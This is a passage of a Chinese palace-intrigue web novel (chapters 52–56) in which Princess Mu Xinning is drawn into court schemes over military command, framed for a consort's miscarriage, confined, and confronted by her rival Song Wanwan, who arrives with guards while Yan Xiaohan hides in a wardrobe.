晏骁寒软剑刺过来的时候,慕馨宁吓得尖叫出声,刘营和鸦羽都来不及反应。 一声闷哼之后,慕馨宁并没有感觉到哪里疼,她睁开紧闭的双眼,就见面前的那个男人已经死不瞑目的倒在了地上。 第52章 惊呆了 晏骁寒面无表情的擦了擦软剑上的血迹:“记住了,刚刚什么也没发生。” 在慕馨宁的目瞪口呆中,晏骁寒转身上了马车。 直到马车消失在夜色里,慕馨宁才逐渐回神。 这厮,是想给她个下马威? “夜里风大,主子,我们回府吧。” 慕馨宁有些惊魂未定的被鸦羽扶着回府,杜若听说慕馨宁差点命丧黄泉一阵心疼。 “你们先去忙,我静一静。” 慕馨宁不知道自己什么时候睡着的,醒来的时候,天空泛起鱼肚白, “晏骁寒回来了吗?” 杜若带人上前伺候。 “回来了,在让人收拾东西。” 想起昨夜发生的事,慕馨宁心里一沉:“走就走吧,让老头儿给他再诊一回脉。” “是。” 早饭时,即墨来了。 “北赫国将领从我军营帐逃走之后,带兵夜袭军营,我军死伤过半,我家主子要领兵前往边关,临行前让在下告知长公主。” 慕馨宁脑袋嗡嗡的,许久才反应过来即墨说的是什么。 “晏骁寒,他身体还没好……” 他伤的很严重,虽然老头儿医术很好,但也需要修养,要是去边关,这一路风餐露宿晏骁寒怕是吃不消,更别提带兵打仗了。 即墨仿佛没听见慕馨宁的话,冷着脸转身就走。 慕馨宁无力的坐在椅子上,眉头紧皱,总觉得哪里好像不大对的样子。 昨夜只说敌军换上了东陵将士的衣服偷袭,我军有死伤,怎么这么快就有了新的消息? “殿下,贵公公带着圣旨去信武侯府了。”没多久,刘营进来禀报。 “可知那圣旨上写了什么?” 刘营:“派人去打探了,估计很快就会有结果。” 慕馨宁喝了一盏茶镇定下来。 当下,永平帝给信武侯下圣旨,只有两种可能。 要么让信武侯领兵增援虞放。 要么,就是让信武侯交出兵权,由晏骁寒掌管。 而慕馨宁也并没有猜错,结果是第二种。 信武侯当然不愿意,因为十五万大军,是他和太后的保命符。 但是永平帝说的冠冕堂皇,一副替信武侯考虑的样子。 永平帝说,因为信武侯刚刚痛失爱子,定是没有精力带兵打仗,且前两日信武侯吐血,太医前来诊脉,说信武侯旧疾复发,且伤心过度,需要静养。 所以,永平帝要信武侯交出兵权由晏骁寒掌管,前往边关支援虞放,完全是为了信武侯考虑。 “信武侯交出兵权了?” 刘营:“没有,他要面见皇上。” 说是面见皇上,只要信武侯进了宫,首先还是要先跟太后联络。 慕馨宁大概猜到了什么,边关局势到底如何,只凭所谓的情报密信飞鸽传书并不能代表什么。 万一那些个消息都是假的呢? 虞放军中哪些有分量的将领是太后和信武侯的人,而哪些人可以重用,在虞放离京时,慕馨宁已经给了他名单。 如果虞放信得过慕馨宁,防着太后和信武侯的人,那北赫国的将领不可能轻易逃走,军中不可能乱的不可收拾,更不会轻易折损那么多将士。 所以,这很有可能,是皇帝和晏骁寒下的一盘棋,主要针对信武侯手里的兵权。 这真是好高明的手段。 如果他们如愿以偿,那下一个对付的就是太后或者她慕馨宁了吧? 太后又急召慕馨宁进宫,慕馨宁这次不打算再推迟。 她收拾妥帖之后,刚要出府,虞放的书信就到了。 虞放信中说,他们生擒的那个北赫国将领并没有逃走,而是他发现军中好像有人吃里扒外,故意把人藏了起来,然后对外说是跑了。 而且,就算那个将领跑了,也得主动回去找他,虞放学了慕馨宁的手段,为了以防万一,虞放找了军中几个医术高明的大夫研制了一种毒药,一个时辰不吃解药就会毒发,就算让那个将领跑,他都不敢跑。 可是,虞放并未提及将士们被突袭和粮草被烧的事情。 慕馨宁很快就明白了,永平帝和晏骁寒两个估计真的是在给信武侯和太后下套,可是晏骁寒那厮竟然连她也骗,简直是岂有此理。 慕馨宁就算看明白了永平帝和晏骁寒的算计,那也只当做毫不知情,她倒要看看,永平帝和晏骁寒能不能轻易夺了信武侯手里的兵权,把信武侯给扳倒。 原本,太后和信武侯得知边关出事之后,还有些高兴,永平帝和晏骁寒有的忙了,可是没想到,两个人竟然把主意打到他们的兵权上。 出了这样的事,太后和信武侯似乎也没有心情再拿崔玉博死的事情为难慕馨宁了。 “宁儿,这件事你怎么看?” 慕馨宁接过下人递上来的茶,并没有喝:“母后,儿臣还是觉得舅舅亲自领兵出征的好,至少兵权握在我们手里。” “可是,皇上已经下旨,让晏骁寒领你舅舅的兵去边关。” 母女两个推心置腹,仿佛崔玉博惨死的事情从未发生过。 慕馨宁:“晏骁寒身受重伤,还没恢复,边关路远,他的身体经不起折腾,且路途凶险,母后的人若是跟皇兄说明利害关系,皇兄会同意母后的建议的。” 太后对慕馨宁的回答很满意,毕竟她也是这样盘算的,所以她喊慕馨宁来,只是试探。 “皇上的意思,这次是要出兵八万支援边关,你舅舅是想一次出战就大获全胜,也省得麻烦,同时也能得到皇上和百姓们的认可,只是哀家和你舅舅都觉得这不大容易。” 慕馨宁一脸疑惑:“那母后还有什么高见?” “你手里不是有三万私兵,若是能让他们暗中协助你舅舅,定会事成,只是不知你是否愿意帮你舅舅这个忙。” “当然,哀家和你舅舅绝对不会亏待你。” 慕馨宁差点笑出声来,让她那三万私兵在前头铺路,做马前卒,立了战功却只归信武侯,哪来的脸。 没准事成之后,信武侯还来个卸磨杀驴,杀了她的私兵呢。 “母后客气了,都是一家人,什么亏待不亏待的。” 太后淡然的脸上闪过诧异:“你真的愿意?” 慕馨宁点头。 可没等太后高兴,她叹了口气,满面愁容的道:“其实我有三万私兵,别人看着光彩,却不知养兵要花很多银子,儿臣已经有两年没给他们发饷银了,他们早就对儿臣不满。” “若是母后和舅舅能帮着儿臣把他们的饷银补上,他们定会对母后和舅舅感恩戴德,没准儿以后就想留在舅舅军中效力了呢。” 太后就知道慕馨宁不可能痛快答应把那三万私兵交出来,但还是问:“那你欠了他们多少饷银?” 慕馨宁认真的算了算:“三万人,就算一人一月二两银子,那就是六万两,一年七十二万两,两年是……一百四十四万两……” 慕馨宁说出这个巨额数字之后,自己也惊呆了。 她好像从来没有给那三万私兵发过饷银,他们怎么还会对她那么忠心,好像也没有人跟她讨要过银钱。 第53章 你想杀我? “你的心意哀家明白了,这件事也不急,哀家再考虑考虑。” 一百四十四万两白银,简直是天价,就算她和信武侯有这个钱,也不可能花在这上面,这丫头可真会算计,算盘珠子都要崩到她脸上来了。 她想得到那三万私兵,方法有的是,但绝对不会巴巴的拿出那么多银子。 安静片刻,太后换了话题: “听说前些日子你也受了伤,现下身体如何了?” 她现在关心慕馨宁,其实就是想旁敲侧击让慕馨宁提起姬神医。 她身居高位,患有头风。 平日还好,若是一经发作,整个太医院皆束手无策,定会痛个你死我活,若是能得姬神医出手,她的头风不但可以根治,而且可以益寿延年。 上位者最在乎的,除了权利和金钱,那就是健康和性命。 太后不得不对姬神医动心思。 “皮肉伤,养了几日好多了,多谢母后挂怀。” “哀家让下人给你准备了些上好的补品,你且把身子调养好。” 慕馨宁起身行礼:“多谢母后,儿臣告退。” 太后:“……” 她并没说让慕馨宁走。 等慕馨宁离开,屏风后出来一个熟悉的人影。 信武侯盯着慕馨宁离开的方向,睚眦欲裂。 “你怎么放她走了,她可是害死了我儿,你就应该杀了她,让她给我儿偿命!” 太后淡淡撇了一眼慕馨宁分毫未动的茶盏:“急什么,她不是已经在送死的路上了,这么点子小事,何须你我亲自动手。” 本来,她还觉得慕馨宁有点用处,可是慕馨宁竟然一次又一次跟她耍心机,姬神医慕馨宁提都不提,看来真是没把她这个太后放在眼里。 是该给慕馨宁一点教训,让那个丫头知道知道,没有她的帮扶,只会落得个身败名裂的下场。 信武侯一惊:“真的?” 太后悠闲的喝了口茶:“等着看好戏吧。” 这边,慕馨宁还没走出景阳宫,就遇见了宋菀菀。 “长公主……” 今日她打扮的倒是素净,身后的丫鬟拎了些东西,像是要出宫的样子。 慕馨宁并不想理会她,宋菀菀却主动凑了上来。 “长公主听说了吗,惜颜表姐她病的很重,我这就要出宫去瞧瞧她,以前我们姐妹三个最要好了,你要不要跟我一同去探望?” 慕馨宁面无表情,崔玉博出殡的时候她都没去,崔惜颜病了,她却要去探望,这个宋菀菀,是猪脑子吧,还是故意装蠢? “本宫就不去了。” 宋菀菀不依不饶:“你是不敢去见她吗,也对哦,毕竟你害死了她的亲哥哥,又害的她推迟了婚期。” 若是崔玉博不死,再过一个月,就是崔惜颜的大婚之日了。 崔惜颜可是早就盼着嫁给安国公世子,做世子妃、皇后的弟妹呢。 慕馨宁面色微冷:“害得她臭名远扬又被延迟婚期的人,不是你么,要不是你收买了本宫那几个奴才散播谣言,事情也不会闹到大理寺,你说是吧?” 宋菀菀脸色当即沉了下来:“你冤枉我,我才没有……” 慕馨宁打断她:“敢拿你自己发誓吗,要是你没有收买那些个奴才散播谣言,你宋菀菀一辈子嫁不出去,只能成为男人的低贱玩物。” 宋菀菀气的脸色青白交加,半天也说不出话来。 慕馨宁简直太可恶了,竟然敢这般诅咒她! “你不要得意,你不会以为你真的能嫁给晏首辅吧,别做梦了,我等着看你的下场!” 宋菀菀冷哼一声,就要转身离开。 鸦羽上前,直接挡住她的去路。 “你还想干什么?” 慕馨宁挽了挽袖子,忽然一把揪住宋菀菀的头发。 宋菀菀痛的整张脸都扭曲了:“慕馨宁,你干什么,这可是在母后的宫里,你想杀我不成?” 慕馨宁面色冰冷的盯着她那张脸:“昨夜那个男人,是你指使的吧?” 宋菀菀眼里闪过什么:“我不明白你说的是什么。” 慕馨宁揪着她头发的手加重了力道:“你倒是卑鄙,偏偏赶在晏骁寒也在的时候才让那个男人对本宫动手。” 宋菀菀眼里说过一抹精光,听慕馨宁这话的意思,那件事成了? 天下任何一个男人,知道自己的未婚妻和别的男人行了苟且之事,都不会毫不在意,而且慕馨宁还是强迫的人家,闹出了人命。 那晏骁寒定是厌恶死慕馨宁了,定不会娶慕馨宁过门,甚至会杀了慕馨宁吧! 看宋菀菀的脸色,慕馨宁大概就猜出来她就是那个罪魁祸首,慕馨宁嘴角上扬,抬手就狠狠地给了宋菀菀一个巴掌。 宋菀菀疼的眼泪都掉下来了:“慕馨宁你太过分了,你有什么证据是我做的,你简直欺人太甚!” “你脸上有只苍蝇,我只是替你赶走它,不过下手重了些,真是抱歉。” 慕馨宁松开宋菀菀的头发,她原本梳理的一丝不苟的发髻乱成鸟窝,让人不忍直视。 宋菀菀气的恨不得杀了慕馨宁,可是只能眼睁睁看着慕馨宁渐行渐远。 “贱人,该死的贱人,舅舅和母后为什么还不杀了她,真是没用!” “公主慎言。”宋菀菀身后的大宫女好意提醒。 宋菀菀抬手就给了她一个耳光:“贱婢,见本公主被那个贱人欺负你都无动于衷,如今竟然敢教育本公主了!” 出了太后寝宫,慕馨宁甩了甩酥麻的手心,心里说不出的舒畅。 她想起正事:“给玄翎传个话,让他回来见我。” 鸦羽称是:“主子,那个宋菀菀一直不安分,不如属下找个机会杀了她吧。” 慕馨宁摇头:“急什么,好戏还在后头。” 路过永平帝那边的时候,慕馨宁特意放慢了脚步,永平帝的人果然就拦住了她的去路。 “长公主,皇上召见。” 慕馨宁一进御书房,就看见了晏骁寒的身影。 永平帝果然是看中晏骁寒,知道晏骁寒身上有伤,特意给他赐了座。 此时,晏骁寒正端坐在椅子上品茶。 “又给太后出什么好主意了?”永平帝一看见慕馨宁,便阴阳怪气的道。 慕馨宁:“就如你们猜想的那般。” 至于能不能猜得到,那就是你们的事了。 永平帝蹙眉,猜想什么? 但是他不能问,只能看向晏骁寒。 晏骁寒放下手里的茶盏,看了慕馨宁一眼:“你杀了崔玉博,太后还能待你如初,真是看重你。” 慕馨宁翻了个白眼,听出了晏骁寒话里的嘲讽。 “皇兄叫臣妹来,不会为了跟臣妹闲聊吧?” 永平帝脸上不大好看,端起茶又放下:“虞放给你来信了吧?” 慕馨宁:“皇兄要看?” 永平帝咳嗽一声:“朕和晏卿的计划你大概猜到了,你该不会跟太后和信武侯说吧?” 慕馨宁:“臣妹可没不爱与人闲话。” 不过他们这个主意挺损,要信武侯的兵,却不全要,出兵八万留京七万,崔玉博死了,信武侯要是真领着那八万兵马去边关,那七万人马就要让别的将领代管,那代管之人,很有可能就是永平帝和晏骁寒的人。 这是要把信武侯给劈成两半啊。 估计,这两个也并不是真心想让信武侯领兵去边关,没准儿在路上就想对信武侯下手了。 啧啧,损。 “说来,你与晏卿也相处一段时日了,朕看你们相处还算融洽,不如朕为你们赐婚吧?” 永平帝换了个话题,他看着慕馨宁,眼神中带着试探。 慕馨宁挺直了脊背:“那可太好了,多谢皇兄,不过这聘礼只能多不能少,不然别人还以为晏骁寒看不上臣妹。” 第54章 被算计了 永平帝:“……” 你名声都臭出东陵了,还要那么高的聘礼做什么,能嫁的出去就不错了。 况且你所嫁之人还是我东陵国最出色的男儿,晏卿不出聘礼都没关系,倒是你,应该准备丰厚的嫁妆才是。 慕馨宁看出了永平帝眼神中的鄙夷,在没人注意的时候,狠狠地瞪了永平帝一眼。 “那就等虞将军凯旋之后,你们再定婚期,到时候我东陵双喜临门,定要举国同庆才是。” 慕馨宁又想翻白眼,以永平帝对虞放的芥蒂,就算虞放打了胜仗,估计也不会轻易让虞放回京,只会让他驻守边关。 虞放要是一辈子不回京,她和晏骁寒的婚期就要一直拖。 拖吧,反正都是彼此糊弄。 “你若是着急,婚期我们也可以现在定下来,提前成婚。”晏骁寒看向慕馨宁,深邃的目光中带了几分郑重。 慕馨宁打了一个哆嗦:“不急,到时候我还打算请虞将军和众将士们喝我们的喜酒。” 他们的婚期,估计就是她的死期,晏骁寒怎么可能真心娶她,没准是想提前杀了她。 晏骁寒眼里似乎闪过一抹失落,然后对永平帝道:“那就再等等吧。” 永平帝:“……” “没什么事,臣妹就先回去了。” 慕馨宁不想跟这两个人多待一刻,信武侯一倒台,估计这二人就要合伙算计她了,有这个空闲,她还是多想想如何赚钱,如何掌权,如何增强自己的实力吧。 否则这两个人对她动手的时候,她就得跟案板上的鱼肉一样任人宰割了。 慕馨宁刚出了御书房,迎面走来一个锦衣华服妖娆多姿的女子,女子容貌美艳,眉目如画,是个不可多得的美人儿。 慕馨宁只看了一眼,就收回了目光,刚要抬腿离开,女子就迎了上来。 “长公主,您这是打算回去了?” 慕馨宁蹙眉,又盯着那女子瞧了瞧,这才想起来这人好像是永平帝的宫妃,至于详细的,时隔太久,记不清了。 慕馨宁转头看向杜若,杜若连忙小声道:“郑婕妤,听说皇上最近还算宠他,刚升了婕妤的位分。” “嗯。”慕馨宁了然,对郑婕妤淡淡应声。 郑婕妤笑着招呼身后的人:“听说长公主前些日子受了伤,我这特意准备了一些补品,还请长公主笑纳。” 宫女将那些所谓的补品给慕馨宁过目,人参,燕窝,鹿茸。 慕馨宁眉头微蹙,这是唱的哪一出。 不过拿人手短吃人嘴软,她也不想跟永平帝后宫的女人扯上什么关系。 不等慕馨宁拒绝,郑婕妤开口就道:“您怕是不记得我了,但是您定然是记得吴昭仪,我是吴昭仪的表妹,当年是跟她一同入宫侍奉皇上的,我与她姐妹情深,没想到她却遭了奸人算计,不但流了孩子,人也疯疯癫癫的。” “幸好长公主跟皇上提及了此事,皇上才让人重新调查,我这也是替表姐谢谢长公主,希望您不要拒绝。” 慕馨宁还是开口拒绝:“不必了,本宫府上不缺这些,你留着自己用吧。” 一听这郑婕妤跟吴昭仪这表姐表妹的关系,慕馨宁就想笑,还什么姐妹情深,宫里有什么姐妹情深可言,而且两个人还是伺候一个男人。 为了争着跟她那个好皇兄上床,人脑袋都得挤成狗脑袋,吴昭仪小产的时候估计这女人高兴的都睡不着觉吧。 “长公主,这好歹是我的一点心意,您不会是瞧不上我的东西吧……” 杜若一直忍着没有吭声,可是看着郑婕妤一直纠缠,于是没好气的道:“知道长公主瞧不上,就拿着你的东西赶紧走,我们主子还有事,就不要耽搁时间了。” 郑婕妤一脸伤心,用帕子擦了擦眼角根本不存在的眼泪:“也对,我身份低微,家境不好,自然也没什么好东西,长公主瞧不上也是正常的……” 她说着,竟然轻声啜泣起来。 慕馨宁懒得搭理她,抬脚就走。 可是那郑婕妤故意往慕馨宁跟前凑,两个人的身子就蹭了一下,随即她惨叫一声,倒在了地上。 郑婕妤顿时脸色惨白,泪流满面:“长公主……我也是一片好心,就算你不喜欢我送你的东西……也不能推我啊……” “哎呦我的肚子……我的孩子……好疼啊呜呜……皇上……”她哭喊着,捂着肚子蜷缩着身子在地上打滚。 不远处的宫人看见,顿时吓了一跳,连忙去给永平帝禀报了。 慕馨宁大脑有一瞬间的空白,虽然她知道郑婕妤是故意算计她,但是此事怕是也有些麻烦。 郑婕妤身下出了很多的血,如果此真的牵扯到永平帝的子嗣,若流下来的还是个男胎,永平帝定会跟她大动干戈。 这里离御书房不远,永平帝很快急匆匆的出来了,身后还跟着晏骁寒和贵公公。 “郑婕妤,你这是怎么了?” “啊……皇上……孩子,我们的孩子……你快救救他……”浑身是土的郑婕妤扯住永平帝的衣摆,语气里都是恳求。 永平帝脸色瞬间就阴沉了下来。 当初宸妃给他下毒,那么多太医都说他很难再有子嗣,可是偏偏这个时候,郑婕妤竟然怀了身孕。 会是他的孩子吗?如果是,那无论如何,他不会放过慕馨宁。 如果郑婕妤跟别的男人厮混,孩子根本不是他的呢?若是这样,他皇帝的颜面何在? 杜若生怕永平帝治罪慕馨宁,她扑通一下跪在地上:“皇上明察,是这个郑婕妤自己摔倒的,跟我们主子没有关系!” 永平帝半晌没有说话,脸色却越来越阴沉。 贵公公连忙对下人道:“快传太医,这可是皇嗣,出了事儿可怎么办啊!” 郑婕妤身下的血越来越多,看着有些渗人,就算姬神医到了,估计也无济于事了。 贵公公让人把郑婕妤抬走,永平帝一直盯着慕馨宁,一句话也不说。 慕馨宁感觉头皮发麻,她对永平帝道:“皇兄,就算你想治我的罪,是不是也应该让人好好调查调查,给臣妹一个辩驳的机会?” 永平帝一甩袖子,去了偏殿。 晏骁寒走到慕馨宁跟前,没有说话,倒像是等着慕馨宁开口。 慕馨宁看了晏骁寒一眼,什么也没说, 这个时候,晏骁寒是在等着看她的笑话,等着她求他吧? 只可惜她生来傲骨,就算死,也不会向他低头的。 偏殿,郑婕妤哭的死去活来,太医给郑婕妤诊脉,然后面色凝重的跪在永平帝跟前:“皇上,郑婕妤身体虚弱,本来就有小产迹象,这么摔了一下,无力回天了。” 慕馨宁不明白,郑婕妤怀了孩子,就应该好好养胎,将来母凭子贵。 万一生了男胎,没准儿将来还能被立为太子,她还有做皇后的机会,怎么会拿肚子里的孩子来陷害她,这不跟杀鸡用牛刀一样吗? “太后娘娘到……” 第55章 被自己恶心到 太监王福尖锐的声音响起,慕馨宁心头一凛,有些不可置信,难道这是太后的手笔? 若真是这样,也说得过去,自打先帝没了,太后就惦记着东陵的皇位,她怎么允许宫里的妃子们诞下龙子呢? 这些年永平帝子嗣单薄,只有那么两位公主,没准儿就和太后有关。 永平帝给太后行礼,太后问了一下郑婕妤的情况。 得知郑婕妤小产,且流的是男胎,顿时一脸痛心:“怎么会这样,孩子怎么就这么没了……哀家怎么跟先帝交代啊……” 宋菀菀也是一脸伤心的样子,她朝着永平帝行礼:“皇兄,您也别太难过,将来定会有很多女子替皇兄开枝散叶……但是长公主她……或许也不是故意的……您看在母后的面子上……小小惩戒就算了……” 她的脸上还有些红肿,那是慕馨宁打的,还没恢复,得知慕馨宁惹了祸,就是脸上带着伤也要来踩慕馨宁一脚。 她就不相信,事情闹成这样,永平帝还能放过慕馨宁。 永平帝的目光,再一次落在慕馨宁身上:“长公主还有什么话要说?” 不等慕馨宁开口,永平帝怒声道:“来人,将长公主压下去,等候发落!” 他还要好好让人调查,郑婕妤肚子里的孩子,到底是谁的。 慕馨宁想要骂人。 杜若扑通一下跪在地上哭着道:“皇上……皇上息怒……郑婕妤小产跟我家主子没关系啊……” “怎么没关系,你这个贱婢竟然还敢替长公主开脱,简直是该死!”宋菀菀上前就给了杜若一个耳光。 太好了,她做梦都想把慕馨宁踩在脚下,如今终于如愿了吗,她要好好安排一下,定要让慕馨宁痛不欲生的死去,方能解她心头之恨。 慕馨宁缓缓弯腰,将不停磕头的杜若扶起来:“不用求她,我们走。” 宋菀菀这一巴掌让杜若清醒几分,杜若挣脱开慕馨宁的手,忽然开口:“太后娘娘,皇上,是奴婢害郑婕妤小产的,是奴婢故意绊倒了郑婕妤,跟长公主没关系!” 永平帝皱眉,这个丫鬟倒是忠心。 若是这丫鬟要顶罪,那这件事暂且可以大事化小小事化了,他卖慕馨宁一个面子,而且就算郑婕妤肚子里的孩子不是他的,他也能隐瞒下来,私下处置了郑婕妤。 太后沉着脸开口:“你一个丫鬟,跟郑婕妤有什么仇怨?” 就算是她动的手,还不是受了慕馨宁的指使? 杜若:“奴婢就是看郑婕妤不顺眼,她表面说是替吴昭仪感谢长公主,其实就是羞辱长公主的,太后和皇上没看过郑婕妤送我们主子的烂东西,那样的东西怕是郑婕妤自己都嫌弃!” 永平帝看向慕馨宁:“长公主有什么话说?” 没想到,慕馨宁却缓缓弯腰,将杜若扶了起来:“跟你没关系,你出宫,回府。” 杜若还想坚持,慕馨宁已经拖着她往外走。 “主子……” “闭嘴!”慕馨宁怒喝一声,杜若大气都不敢喘了。 出了偏殿,就看见了不远处负手而立的晏骁寒。 郑婕妤小产,是皇帝的私事,他一个外臣,不便参与。 刚刚里面发生的事情他也听的清楚,他不明白,慕馨宁人品恶劣,有人给她顶罪,她不应该顺水推舟,怎么还很气愤的样子。 慕馨宁被关在了一处清冷的宫殿,守卫人不多,也不怕她跑了,毕竟跑得了和尚跑不了庙。 晏骁寒去看她的时候,她睡的正香。 慕馨宁穿的还是昨天那身衣服,头发散乱的像个疯子。 如今朝堂上一大半的文武百官都要永平帝处置了慕馨宁,这都快死到临头了,慕馨宁竟然还睡得着? 即墨实在是看不下去了,砰的一拍门板,给慕馨宁吓了一跳。 她整个人从床上弹起来,反应过来之后,抓起茶盏就朝着即墨丢了过去。 即墨一个闪身,躲开了。 “长公主,我们主子好心来看你,你怎么还能动手?” 慕馨宁嗤笑,看向一身紫色朝服容貌俊美的晏骁寒:“来看我笑话?” 晏骁寒面色微冷:“你若是这么想,那就当本官没来。” 他转身就要走,慕馨宁一把扯住他的袖子:“那你的意思,是想我了,担心我?” 说着,她还特意往晏骁寒跟前凑了凑。 即墨简直是气的七窍生烟,但还是默默退了出去。 晏骁寒抽回自己的袖子,明显看见了袖口的灰尘,他随意掸了掸,将朝中局势跟慕馨宁说了,着重讲了文武百官让永平帝将慕馨宁贬为庶人流放金沙岛的事情。 慕馨宁骂了一声,这些人真损,金沙岛除了沙子就是海,历代王朝流放金沙岛的那都是千古罪人,还没等到金沙岛就已经死在了半路上。 她这是刨了他们祖坟怎么的,还是郑婕妤肚子里的孩子是他们的? “你现在有什么脱身的办法?” 殿里满是灰尘,一派萧瑟的景象,晏骁寒站在这里,仿佛整个宫殿都流光溢彩。 慕馨宁盯着他的脸看了半天:“我们不是有婚约吗,这个时候你要是跟皇上求娶我,皇上好歹也能给你点面子,至少让我做个郡主县主什么的,嫁与你为妻吧。” 她被自己的厚颜无耻恶心到,却饶有兴致的看晏骁寒的表情。 可惜晏骁寒依旧面无表情:“那你觉得,本官凭什么要娶你?” 慕馨宁认真想了想:“我厨艺好,定能让你吃好喝好,再一个……” 她故意拉长了音调,向晏骁寒抛了个媚眼:“我那方面不错,定能让你欲罢不能,欲仙欲死……” 晏骁寒原本平静无波的俊脸,渐渐有了裂痕。 他修长好看的大手,落在了她的后脖颈:“你在戏耍本官?” 只要他一用力,就能捏断慕馨宁的脖子。 死到临头了,不应该向他求饶吗,至少应该示好吧? 慕馨宁一把拿开他的手,开始一脸正色的跟晏骁寒讲道理:“就算是我害的郑婕妤小产,但是好歹我也帮着你们对付了信武侯,还杀了崔玉博,崔惜颜和安国公嫡子的婚事也推迟了,虞放在边关打了胜仗,你们不能如此绝情,非得要了本宫的性命吧?” 晏骁寒:“所以呢?” 慕馨宁没骨头一样靠在一把躺椅上:“本宫钻营这么多年,也不至于一无是处,若是你们非要本宫的命,那我们也可以拼个鱼死网破,那坐收渔翁之利的,可是太后了。” 晏骁寒没想到慕馨宁竟然将事情想的如此透彻。 “那你就不怕,你没了长公主的头衔,皇上和太后,还有本官,想要杀你更容易了。” 慕馨宁笑了笑:“那是以后的事情了,能不能保住性命,就看我的本事。” 忽然想起一事,她一脸正色的对晏骁寒道:“如今国库空虚,信武侯要是带兵出征,还要给他筹备军需,又是一大笔钱,你跟皇上通个气,给我一个郡主的名头,让我回封地。” 晏骁寒握拳,眼里闪过一片冷意,当初这女人果然是在诓骗他,他从未真心喜欢他,竟然还惦记着回封地。 慕馨宁不知晏骁寒所想,继续道:“大概半个月左右,本宫给他半座银矿山,如何?” 晏骁寒怀疑自己的耳朵出了问题:“你说什么?” 第56章 都杀了 慕馨宁坐直了身子,翘起二郎腿:“这东陵的矿山,按道理来说是归皇上所有,但是没有本宫,他永远不知道那矿山在哪里,他一两银子也拿不到。” 慕馨宁喝了口凉水,继续道:“若是皇上觉得亏了,那本宫还能告诉他太后手里那座金矿的位置,怎么样?” 晏骁寒面色微动,怪不得太后和信武侯有那么大的底气那么大的能力跟皇上斗,原来是这个原因。 看着晏骁寒微变的脸色,慕馨宁嘴角上扬,所以,还是先让永平帝跟太后斗吧,坐收渔翁之利的,只能是她自己。 晏骁寒正要问问慕馨宁如何知道那银矿的位置,又怎么会知道太后手里金矿所在,外头忽然响起脚步声。 “长公主,我来看你了……” 宋菀菀得意的声音响起,慕馨宁忽然来了精神,他扯着晏骁寒,直接把人塞进衣柜里:“好好看你的热闹,不要吭声。” 晏骁寒:“……” 宋菀菀一进来,就咳嗽了好几声。 她环顾破败的宫殿,差点笑出声来:“哎呦,皇兄也真是的,也给长公主不安排个好点的地方,这都破成了这个样子,也太委屈长公主了。” 她一口一个长公主,语气里都是嘲讽。 以前慕馨宁不是最爱跟她摆长公主的臭架子了吗,如今她马上就要被流放了,没了公主的名头,只是一个庶人,看她还耍什么威风。 “觉得我委屈可啊,那你快替我跟母后和皇兄求求情,让他们对我网开一面啊。” 宋菀菀差点一口唾沫吐在慕馨宁的脸上:“慕馨宁,你哪来的脸面,竟然还让我替你求情?” 这个贱人是忘了当初是怎么羞辱她了的吗? 慕馨宁忽然变脸,冷哼一声:“难道刚刚不是你在跟我装好人吗?” 宋菀菀面色一僵,不过很快缓和,她将慕馨宁从头到脚的打量一遍:“我来是想告诉你,皇上马上就要将你流放金沙岛了。” 慕馨宁笑了笑:“那多谢你的好心了,没什么事就滚蛋吧。” 宋菀菀磨牙:“死到临头,竟然还敢如此跟本公主说话,今天来,我就是想送你一份大礼的。” 一想到稍后,慕馨宁那狼狈不浪痛不欲生生不如死的样子,宋菀菀就有些等不及了。 结果慕馨宁却比她还要着急:“什么大礼,快让我开开眼吧。” 宋菀菀一脸坏笑的拍了拍手,后面进来好几个五大三粗的侍卫。 他们看慕馨宁的目光,满是兴奋和期待,眼神也是色眯眯的样子。 慕馨宁很快就猜到了什么:“我说你上不得台面,你也就只能想出这种下三滥的手段对付我。” 宋菀菀正色道:“我的好姐姐,怎么是对付呢,你不是最喜欢男人了嘛,马上你就要流放,以后怕是再也没有享受的机会,所以妹妹我今日特意带了这些人来,好好满足你。” 慕馨宁有些担忧:“这不会是你玩儿剩下的给我送来了吧,那你还真恶心,我都怕得病。” 宋菀菀原本幸灾乐祸的脸,瞬间变得扭曲:“慕馨宁,我才不会跟你一样放浪无形,本公主向来洁身自好,将来定是要……” “将来定是要把你的第一次给晏骁寒,是不是?” 衣柜里的晏骁寒已经被里面的尘土呛得不行,他差点就打个喷嚏出来,听见外头的对话声,当即捂住了口鼻。 这个女人,提他做什么。 慕馨宁的声音还在继续:“你觉得你的那一层很珍贵,很了不起吗,晏骁寒也未必看得上吧,别忘了,你只是一个乡下冒出来的野种,土腥气都要把人熏死了,这京城的王孙贵族达官显贵甚至各国皇室的公主,哪一个不比你强?” 慕馨宁的话说的要多难听有多难听,又如此露骨,后头那几个侍卫都已经不淡定了。 宋菀菀气的瑟瑟发抖,指着慕馨宁的鼻子:“慕馨宁,你嘴巴放干净点,我才不是乡下土妞,我爹可是京城首富!” 慕馨宁惊讶的张大了嘴:“妈呀,京城首富吗,真是好厉害!” 衣柜里的晏骁寒眉头微挑,当初宋菀菀救了太后,成了太后的养女,不是对外宣称她只是一个乡下女子吗,她爹怎么可能是京城首富? 宋菀菀抬了抬下巴,脸上有了得意之色:“当然,我的身份,可比你这个臭名昭著的长公主尊贵多了,我爹赚的钱,能买你慕馨宁千百条命!” 她只是怕别人惦记家里的钱,所以才不公开自己的真实身份的,如今慕馨宁知道了,定是后悔当初对她的欺辱了吧! 慕馨宁呵呵一笑,接下来的话震惊了所有人:“你爹有钱很了不起吗,还不是钻了女人的裙底才得来的。” 至于钻了谁的裙底,宋菀菀心知肚明。 宋菀菀瞬间整张脸都扭曲了:“慕馨宁,你敢再说一遍吗?” 慕馨宁两手一摊,一脸无辜:“大家又不是聋子,我凭什么还要再说一遍?” 宋菀菀暴跳如雷:“慕馨宁你个贱人,竟然敢如此羞辱我爹,你们给本公主狠狠地教训她,把她扒光,打烂她的嘴!” 那些个侍卫开始朝着慕馨宁凑了过来,慕馨宁故作惊慌的往后退:“宋菀菀,你就不怕你这个卑鄙下流的德行被晏骁寒看见吗,你不还想着嫁给他呢吗?” 宋菀菀恨不得撕了慕馨宁的嘴:“怕是让你失望了,晏骁寒他只会看见你水性杨花放浪形骸的样子,你还不知道吧,我已经让人去请晏骁寒了,一会他要是看见你跟这么多男人厮混在一起,定会一剑捅了你的心窝子的……” 慕馨宁停在那红漆雕花大衣柜跟前,忽然笑的诡异:“那么麻烦做什么,晏骁寒不用请,他就在这里啊!” 慕馨宁说着,忽然打开了那衣柜的门。 “你骗鬼……” 宋菀菀还想羞辱慕馨宁,当她看见衣柜里的人影之后,脸上顿时血色全无,眼睛都要瞪出来了。 